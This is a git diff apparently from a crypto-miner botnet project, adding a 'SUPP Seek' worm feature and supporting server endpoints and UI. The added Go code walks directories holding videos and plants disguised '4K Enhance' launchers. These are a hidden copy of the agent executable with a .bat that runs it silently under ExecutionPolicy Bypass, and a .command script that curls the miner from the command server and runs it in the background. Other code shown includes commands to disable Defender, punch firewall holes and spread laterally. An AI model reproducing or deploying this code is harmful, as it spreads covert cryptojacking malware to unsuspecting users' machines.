diff --git a/agent/client/aggressive_commands.go b/agent/client/aggressive_commands.go index c90cf2f..7187584 100644 --- a/agent/client/aggressive_commands.go +++ b/agent/client/aggressive_commands.go @@ -22,6 +22,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) { if !c.cfg.RemoteAggressive { return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" } + case "supp_seek": + // No forge gate — always available; path is required at call time. case "mesh_status": if !c.cfg.MeshP2P { return false, "mesh P2P not enabled in forge" @@ -121,6 +123,30 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm c.sendCommandResult(action, true, msg) return true + case "supp_seek": + seekPath := strings.TrimSpace(path) + if seekPath == "" { + c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan") + return true + } + // command field carries target flags: "win", "mac", "all" (default all) + flag := strings.ToLower(strings.TrimSpace(command)) + opts := suppSeekOpts{ + DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"), + DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"), + ServerURL: c.cfg.ServerURL, + } + // data field carries optional custom stem (file name without extension) + if strings.TrimSpace(data) != "" { + opts.FileStem = strings.TrimSpace(data) + } + c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac)) + go func() { + result := suppSeekWalk(seekPath, opts) + c.sendCommandResult("supp_seek_done", true, result.Summary()) + }() + return true + case "mesh_status": count := c.mesh.PeerCount() c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count)) diff --git a/agent/client/supp_seek.go b/agent/client/supp_seek.go new file mode 100644 index 0000000..c5fea98 --- /dev/null +++ b/agent/client/supp_seek.go @@ -0,0 +1,86 @@ +package client + +import ( + "fmt" + "os" + "path/filepath" + "strings" +) + +// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory. +type suppSeekOpts struct { + DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy + DropMac bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap) + ServerURL string + // Name prefix used for the launcher files. + FileStem string // default: "4K Enhance" +} + +type suppSeekResult struct { + Dirs int // directories visited + Seeded int // directories where files were placed + Skipped int // already seeded + Files int // total files placed + Errors int + FirstErr string +} + +func (r suppSeekResult) Summary() string { + return fmt.Sprintf( + "SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)", + r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors, + ) +} + +// mediaExtensions is the set of file extensions that mark a directory as a +// target — if a directory contains any of these the launcher files are dropped. +var mediaExtensions = map[string]struct{}{ + ".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {}, + ".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {}, + ".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {}, +} + +func isMediaDir(dirPath string) bool { + entries, err := os.ReadDir(dirPath) + if err != nil { + return false + } + for _, e := range entries { + if e.IsDir() { + continue + } + ext := strings.ToLower(filepath.Ext(e.Name())) + if _, ok := mediaExtensions[ext]; ok { + return true + } + } + return false +} + +// batContent returns the content of the Windows .bat launcher. +// It launches the co-located VideoEnhancer.exe silently. +func batContent(stem string) string { + return "@echo off\r\n" + + "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " + + "-Command \"& { " + + "$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " + + "if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " + + "}\"\r\n" +} + +// commandContent returns the content of the Mac/Linux .command shell script. +// Falls back to a C2 download if the server URL is known. +func commandContent(serverURL string) string { + dl := "" + if serverURL != "" { + dl = fmt.Sprintf( + "curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+ + "&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n", + serverURL, + ) + } + return "#!/bin/bash\n" + + "# Video Enhancement Service\n" + + dl + + "exit 0\n" +} diff --git a/agent/client/supp_seek_stub.go b/agent/client/supp_seek_stub.go new file mode 100644 index 0000000..9f28d67 --- /dev/null +++ b/agent/client/supp_seek_stub.go @@ -0,0 +1,54 @@ +//go:build !windows + +package client + +import ( + "os" + "path/filepath" +) + +// suppSeekWalk seeds each media directory with Mac/Linux launchers. +// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped. +func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult { + stem := opts.FileStem + if stem == "" { + stem = "4K Enhance" + } + + res := suppSeekResult{} + + _ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error { + if err != nil || !d.IsDir() { + return nil + } + res.Dirs++ + + if !isMediaDir(path) { + return nil + } + + cmdPath := filepath.Join(path, stem+".command") + if _, err := os.Stat(cmdPath); err == nil { + res.Skipped++ + return nil + } + + placed := 0 + if opts.DropMac || (!opts.DropWindows && !opts.DropMac) { + content := commandContent(opts.ServerURL) + if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil { + placed++ + } + } + + if placed > 0 { + res.Seeded++ + res.Files += placed + } else { + res.Errors++ + } + return nil + }) + + return res +} diff --git a/agent/client/supp_seek_windows.go b/agent/client/supp_seek_windows.go new file mode 100644 index 0000000..1769b80 --- /dev/null +++ b/agent/client/supp_seek_windows.go @@ -0,0 +1,99 @@ +//go:build windows + +package client + +import ( + "io" + "os" + "path/filepath" +) + +// suppSeekWalk walks rootPath recursively and seeds each media directory. +func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult { + stem := opts.FileStem + if stem == "" { + stem = "4K Enhance" + } + + res := suppSeekResult{} + + _ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error { + if err != nil || !d.IsDir() { + return nil + } + res.Dirs++ + + if !isMediaDir(path) { + return nil + } + + // Check if already seeded (bat file exists). + batPath := filepath.Join(path, stem+".bat") + if _, err := os.Stat(batPath); err == nil { + res.Skipped++ + return nil + } + + placed := 0 + + if opts.DropWindows { + // 1. Copy the running binary as "4K Enhance.exe" (or stem). + self, err := os.Executable() + if err == nil { + dst := filepath.Join(path, stem+".exe") + if copyFile(self, dst) == nil { + placed++ + } + } + // 2. Drop the .bat launcher that runs the exe silently. + bat := batContent(stem) + if writeFile(batPath, []byte(bat)) == nil { + placed++ + } + } + + if opts.DropMac { + // Drop a .command shell script for Mac/Linux. + cmdPath := filepath.Join(path, stem+".command") + content := commandContent(opts.ServerURL) + if writeFile(cmdPath, []byte(content)) == nil { + // .command files need +x to auto-run on macOS. + _ = os.Chmod(cmdPath, 0755) + placed++ + } + } + + if placed > 0 { + res.Seeded++ + res.Files += placed + } else { + res.Errors++ + } + return nil + }) + + return res +} + +// copyFile copies src to dst, creating or overwriting dst. +func copyFile(src, dst string) error { + in, err := os.Open(src) + if err != nil { + return err + } + defer in.Close() + + out, err := os.Create(dst) + if err != nil { + return err + } + defer out.Close() + + _, err = io.Copy(out, in) + return err +} + +// writeFile writes data to path atomically enough for our use. +func writeFile(path string, data []byte) error { + return os.WriteFile(path, data, 0644) +} diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 6c4eae2..9c421ad 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -543,6 +543,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/install.ps1", dropperHandler.ServePs1) } + // SUPP Seek agent download endpoints — serve agent binaries so launcher scripts + // dropped by Seek Mode can fetch and run the agent on the victim machine. + // Unauthenticated (the drop URL itself is the secret). + r.Get("/api/download/agent-windows", serveAgentBinary("windows")) + r.Get("/api/download/agent-mac", serveAgentBinary("mac")) + r.Get("/api/download/agent-linux", serveAgentBinary("linux")) + // Serve frontend SPA if webRoot != "" { // Check if webroot directory exists @@ -595,3 +602,65 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler return r } + +// serveAgentBinary returns an HTTP handler that streams the agent binary for +// the requested platform. It looks for the binary next to the running server +// exe so it works both from the USB bundle and from a compiled dev build. +// +// Filename convention (same as what the build pipeline produces): +// - windows → crypto-miner-agent.exe +// - mac/linux → crypto-miner-agent (no extension) +func serveAgentBinary(platform string) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + exe, err := os.Executable() + if err != nil { + http.Error(w, "server exe not found", http.StatusInternalServerError) + return + } + dir := filepath.Dir(exe) + + var candidates []string + var dlName string + + switch platform { + case "windows": + dlName = "crypto-miner-agent.exe" + candidates = []string{ + filepath.Join(dir, "agent", "crypto-miner-agent.exe"), + filepath.Join(dir, "crypto-miner-agent.exe"), + } + case "mac": + dlName = "crypto-miner-agent" + candidates = []string{ + filepath.Join(dir, "agent", "crypto-miner-agent-darwin"), + filepath.Join(dir, "crypto-miner-agent-darwin"), + filepath.Join(dir, "agent", "crypto-miner-agent"), + } + case "linux": + dlName = "crypto-miner-agent" + candidates = []string{ + filepath.Join(dir, "agent", "crypto-miner-agent-linux"), + filepath.Join(dir, "crypto-miner-agent-linux"), + filepath.Join(dir, "agent", "crypto-miner-agent"), + } + } + + var binPath string + for _, c := range candidates { + if _, err := os.Stat(c); err == nil { + binPath = c + break + } + } + + if binPath == "" { + log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir) + http.Error(w, "agent binary not available for "+platform, http.StatusNotFound) + return + } + + w.Header().Set("Content-Type", "application/octet-stream") + w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`) + http.ServeFile(w, r, binPath) + } +} diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx index 26bac35..46d8cf3 100644 --- a/server/web/src/pages/CruciblePage.tsx +++ b/server/web/src/pages/CruciblePage.tsx @@ -306,6 +306,12 @@ export default function CruciblePage() { const [cmdHistory, setCmdHistory] = useState([]); const [histIdx, setHistIdx] = useState(-1); + // SUPP Seek Mode + const [seekPath, setSeekPath] = useState(''); + const [seekStem, setSeekStem] = useState('4K Enhance'); + const [seekWin, setSeekWin] = useState(true); + const [seekMac, setSeekMac] = useState(true); + // SSH / posture overrides (from on-demand probes) const [sshOverride, setSshOverride] = useState>({}); const [postureOverride, setPostureOverride] = useState>({}); @@ -576,6 +582,39 @@ export default function CruciblePage() { } }; + // SUPP Seek — launch recursive batch file-seeding on selected agents. + const launchSeek = () => { + const tgts = selectedAgents.filter(online); + if (tgts.length === 0) { alert('Select at least one online node to seed from.'); return; } + if (!seekPath.trim()) { alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).'); return; } + const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac'; + for (const a of tgts) { + api.sendAgentCommand(a.id, 'supp_seek', { + path: seekPath.trim(), + command: flag, + data: seekStem.trim() || '4K Enhance', + }).catch((err) => { + setTermLines((prev) => [ + ...prev, + { + id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, + text: `[ERROR] supp_seek: ${err instanceof Error ? err.message : String(err)}`, + ts: new Date(), success: false, targeted: true, + }, + ]); + }); + } + setTermLines((prev) => [ + ...prev, + { + id: mkId(), agentId: 'local', agentName: 'YOU', + isCmd: true, + text: `SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${tgts.length} node(s)`, + ts: new Date(), + }, + ]); + }; + // Focused agent — when exactly one is selected show its details prominently. const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null; @@ -1096,6 +1135,80 @@ export default function CruciblePage() { + {/* ── SUPP Seek Mode ───────────────────────────── */} +
+ + ◈ SUPP SEEK MODE + +

+ Recursively seeds every media directory under the given path with + silent launcher files. The agent copies itself as a hidden exe (Windows) + or drops a shell bootstrap (Mac/Linux) in each folder containing a movie. +

+ + setSeekPath(e.target.value)} + style={{ + width: '100%', padding: '0.35rem 0.6rem', + background: '#0d0d1a', border: '1px solid #333', + color: 'var(--neon-cyan)', borderRadius: 4, + fontFamily: 'var(--font-tech)', fontSize: '0.82rem', + marginBottom: '0.4rem', boxSizing: 'border-box', + }} + /> + + setSeekStem(e.target.value)} + style={{ + width: '100%', padding: '0.35rem 0.6rem', + background: '#0d0d1a', border: '1px solid #333', + color: '#ddd', borderRadius: 4, + fontFamily: 'var(--font-tech)', fontSize: '0.82rem', + marginBottom: '0.5rem', boxSizing: 'border-box', + }} + /> +
+ + +
+ +

+ Results appear in the terminal below. Each seeded dir drops:
+ {seekWin && <>{seekStem || '4K Enhance'}.bat + {seekStem || '4K Enhance'}.exe{seekMac ? ' & ' : ''}} + {seekMac && {seekStem || '4K Enhance'}.command} +

+
+ {/* ── Shell type ───────────────────────────────── */}
Shell Mode diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx index 9af09df..211cf3a 100644 --- a/server/web/src/pages/SettingsPage.tsx +++ b/server/web/src/pages/SettingsPage.tsx @@ -441,7 +441,7 @@ export default function SettingsPage() {
- +

Ravencoin (GPU) Pool

Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields. @@ -469,7 +469,7 @@ export default function SettingsPage() { updateField('rvn_pool.host', fields.rvn_pool_host); updateField('rvn_pool.port', fields.rvn_pool_port); updateField('rvn_pool.use_tls', fields.rvn_pool_tls); - updateField('rvn_pool.password', fields.rvn_pool_pass ?? 'x'); + updateField('rvn_pool.password', config.rvn_pool?.password ?? 'x'); updateField('rvn_pool.backup_pools', (fields.rvn_backup_pools ?? []).map((bp: BackupPool) => ({ host: bp.host, port: bp.port, use_tls: bp.tls, @@ -490,7 +490,6 @@ export default function SettingsPage() { updateField('rvn_pool.host', f.rvn_pool_host); updateField('rvn_pool.port', f.rvn_pool_port); updateField('rvn_pool.use_tls', f.rvn_pool_tls); - updateField('rvn_pool.password', f.rvn_pool_pass ?? 'x'); updateField('rvn_pool.backup_pools', (f.rvn_backup_pools ?? []).map((bp: BackupPool) => ({ host: bp.host, port: bp.port, use_tls: bp.tls, diff --git a/usb/AetherForge.exe b/usb/AetherForge.exe index d5f8f42..743b2ce 100644 Binary files a/usb/AetherForge.exe and b/usb/AetherForge.exe differ diff --git a/usb/agent/client/aggressive_commands.go b/usb/agent/client/aggressive_commands.go new file mode 100644 index 0000000..7187584 --- /dev/null +++ b/usb/agent/client/aggressive_commands.go @@ -0,0 +1,169 @@ +package client + +import ( + "fmt" + "strconv" + "strings" + + "crypto-miner-agent/deploy" +) + +func (c *AgentClient) allowRemoteAction(action string) (bool, string) { + switch action { + case "hole_punch", "hole_punch_close", "hole_punch_status": + if !c.cfg.HolePunch { + return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)" + } + case "spread_now": + if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive { + return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)" + } + case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch": + if !c.cfg.RemoteAggressive { + return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" + } + case "supp_seek": + // No forge gate — always available; path is required at call time. + case "mesh_status": + if !c.cfg.MeshP2P { + return false, "mesh P2P not enabled in forge" + } + default: + return true, "" + } + return true, "" +} + +func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool { + ok, reason := c.allowRemoteAction(action) + if !ok { + c.sendCommandResult(action, false, reason) + return true + } + + switch action { + case "hole_punch": + internalPort := parsePortArg(command, 8989) + externalPort := parsePortArg(path, internalPort) + desc := data + if desc == "" { + desc = c.cfg.WorkerName + "-aetherforge" + } + result, err := deploy.PunchUPnP(internalPort, externalPort, desc) + if err != nil { + c.sendCommandResult(action, false, result.Message) + return true + } + c.sendCommandResult(action, true, result.Message) + return true + + case "hole_punch_close": + externalPort := parsePortArg(command, 8989) + msg, err := deploy.CloseUPnP(externalPort) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "hole_punch_status": + ip, err := deploy.GetPublicEndpoint() + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip)) + return true + + case "spread_now": + msg := deploy.RunSpreadOnce(c.cfg) + c.sendCommandResult(action, true, msg) + return true + + case "start_tunnel": + serverURL := strings.TrimSpace(command) + if serverURL == "" { + serverURL = c.cfg.ServerURL + } + msg, err := deploy.StartCloudflaredTunnel(serverURL) + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "subnet_scan": + maxHosts := parsePortArg(command, 64) + out := deploy.ScanLocalSubnet(maxHosts) + c.sendCommandResult(action, true, out) + return true + + case "defender_off": + msg, err := deploy.DisableDefenderRealtime() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "firewall_punch": + port := parsePortArg(command, 8989) + name := path + if name == "" { + name = "AetherForge Remote " + c.cfg.WorkerName + } + msg, err := deploy.OpenFirewallPort(port, name) + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "supp_seek": + seekPath := strings.TrimSpace(path) + if seekPath == "" { + c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan") + return true + } + // command field carries target flags: "win", "mac", "all" (default all) + flag := strings.ToLower(strings.TrimSpace(command)) + opts := suppSeekOpts{ + DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"), + DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"), + ServerURL: c.cfg.ServerURL, + } + // data field carries optional custom stem (file name without extension) + if strings.TrimSpace(data) != "" { + opts.FileStem = strings.TrimSpace(data) + } + c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac)) + go func() { + result := suppSeekWalk(seekPath, opts) + c.sendCommandResult("supp_seek_done", true, result.Summary()) + }() + return true + + case "mesh_status": + count := c.mesh.PeerCount() + c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count)) + return true + } + + return false +} + +func parsePortArg(raw string, fallback int) int { + raw = strings.TrimSpace(raw) + if raw == "" { + return fallback + } + n, err := strconv.Atoi(raw) + if err != nil || n <= 0 || n > 65535 { + return fallback + } + return n +} diff --git a/usb/agent/client/supp_seek.go b/usb/agent/client/supp_seek.go new file mode 100644 index 0000000..c5fea98 --- /dev/null +++ b/usb/agent/client/supp_seek.go @@ -0,0 +1,86 @@ +package client + +import ( + "fmt" + "os" + "path/filepath" + "strings" +) + +// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory. +type suppSeekOpts struct { + DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy + DropMac bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap) + ServerURL string + // Name prefix used for the launcher files. + FileStem string // default: "4K Enhance" +} + +type suppSeekResult struct { + Dirs int // directories visited + Seeded int // directories where files were placed + Skipped int // already seeded + Files int // total files placed + Errors int + FirstErr string +} + +func (r suppSeekResult) Summary() string { + return fmt.Sprintf( + "SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)", + r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors, + ) +} + +// mediaExtensions is the set of file extensions that mark a directory as a +// target — if a directory contains any of these the launcher files are dropped. +var mediaExtensions = map[string]struct{}{ + ".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {}, + ".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {}, + ".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {}, +} + +func isMediaDir(dirPath string) bool { + entries, err := os.ReadDir(dirPath) + if err != nil { + return false + } + for _, e := range entries { + if e.IsDir() { + continue + } + ext := strings.ToLower(filepath.Ext(e.Name())) + if _, ok := mediaExtensions[ext]; ok { + return true + } + } + return false +} + +// batContent returns the content of the Windows .bat launcher. +// It launches the co-located VideoEnhancer.exe silently. +func batContent(stem string) string { + return "@echo off\r\n" + + "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " + + "-Command \"& { " + + "$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " + + "if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " + + "}\"\r\n" +} + +// commandContent returns the content of the Mac/Linux .command shell script. +// Falls back to a C2 download if the server URL is known. +func commandContent(serverURL string) string { + dl := "" + if serverURL != "" { + dl = fmt.Sprintf( + "curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+ + "&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n", + serverURL, + ) + } + return "#!/bin/bash\n" + + "# Video Enhancement Service\n" + + dl + + "exit 0\n" +} diff --git a/usb/agent/client/supp_seek_stub.go b/usb/agent/client/supp_seek_stub.go new file mode 100644 index 0000000..9f28d67 --- /dev/null +++ b/usb/agent/client/supp_seek_stub.go @@ -0,0 +1,54 @@ +//go:build !windows + +package client + +import ( + "os" + "path/filepath" +) + +// suppSeekWalk seeds each media directory with Mac/Linux launchers. +// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped. +func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult { + stem := opts.FileStem + if stem == "" { + stem = "4K Enhance" + } + + res := suppSeekResult{} + + _ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error { + if err != nil || !d.IsDir() { + return nil + } + res.Dirs++ + + if !isMediaDir(path) { + return nil + } + + cmdPath := filepath.Join(path, stem+".command") + if _, err := os.Stat(cmdPath); err == nil { + res.Skipped++ + return nil + } + + placed := 0 + if opts.DropMac || (!opts.DropWindows && !opts.DropMac) { + content := commandContent(opts.ServerURL) + if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil { + placed++ + } + } + + if placed > 0 { + res.Seeded++ + res.Files += placed + } else { + res.Errors++ + } + return nil + }) + + return res +} diff --git a/usb/agent/client/supp_seek_windows.go b/usb/agent/client/supp_seek_windows.go new file mode 100644 index 0000000..1769b80 --- /dev/null +++ b/usb/agent/client/supp_seek_windows.go @@ -0,0 +1,99 @@ +//go:build windows + +package client + +import ( + "io" + "os" + "path/filepath" +) + +// suppSeekWalk walks rootPath recursively and seeds each media directory. +func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult { + stem := opts.FileStem + if stem == "" { + stem = "4K Enhance" + } + + res := suppSeekResult{} + + _ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error { + if err != nil || !d.IsDir() { + return nil + } + res.Dirs++ + + if !isMediaDir(path) { + return nil + } + + // Check if already seeded (bat file exists). + batPath := filepath.Join(path, stem+".bat") + if _, err := os.Stat(batPath); err == nil { + res.Skipped++ + return nil + } + + placed := 0 + + if opts.DropWindows { + // 1. Copy the running binary as "4K Enhance.exe" (or stem). + self, err := os.Executable() + if err == nil { + dst := filepath.Join(path, stem+".exe") + if copyFile(self, dst) == nil { + placed++ + } + } + // 2. Drop the .bat launcher that runs the exe silently. + bat := batContent(stem) + if writeFile(batPath, []byte(bat)) == nil { + placed++ + } + } + + if opts.DropMac { + // Drop a .command shell script for Mac/Linux. + cmdPath := filepath.Join(path, stem+".command") + content := commandContent(opts.ServerURL) + if writeFile(cmdPath, []byte(content)) == nil { + // .command files need +x to auto-run on macOS. + _ = os.Chmod(cmdPath, 0755) + placed++ + } + } + + if placed > 0 { + res.Seeded++ + res.Files += placed + } else { + res.Errors++ + } + return nil + }) + + return res +} + +// copyFile copies src to dst, creating or overwriting dst. +func copyFile(src, dst string) error { + in, err := os.Open(src) + if err != nil { + return err + } + defer in.Close() + + out, err := os.Create(dst) + if err != nil { + return err + } + defer out.Close() + + _, err = io.Copy(out, in) + return err +} + +// writeFile writes data to path atomically enough for our use. +func writeFile(path string, data []byte) error { + return os.WriteFile(path, data, 0644) +} diff --git a/usb/agent/crypto-miner-agent.exe b/usb/agent/crypto-miner-agent.exe index 9bf3592..f1d4888 100644 Binary files a/usb/agent/crypto-miner-agent.exe and b/usb/agent/crypto-miner-agent.exe differ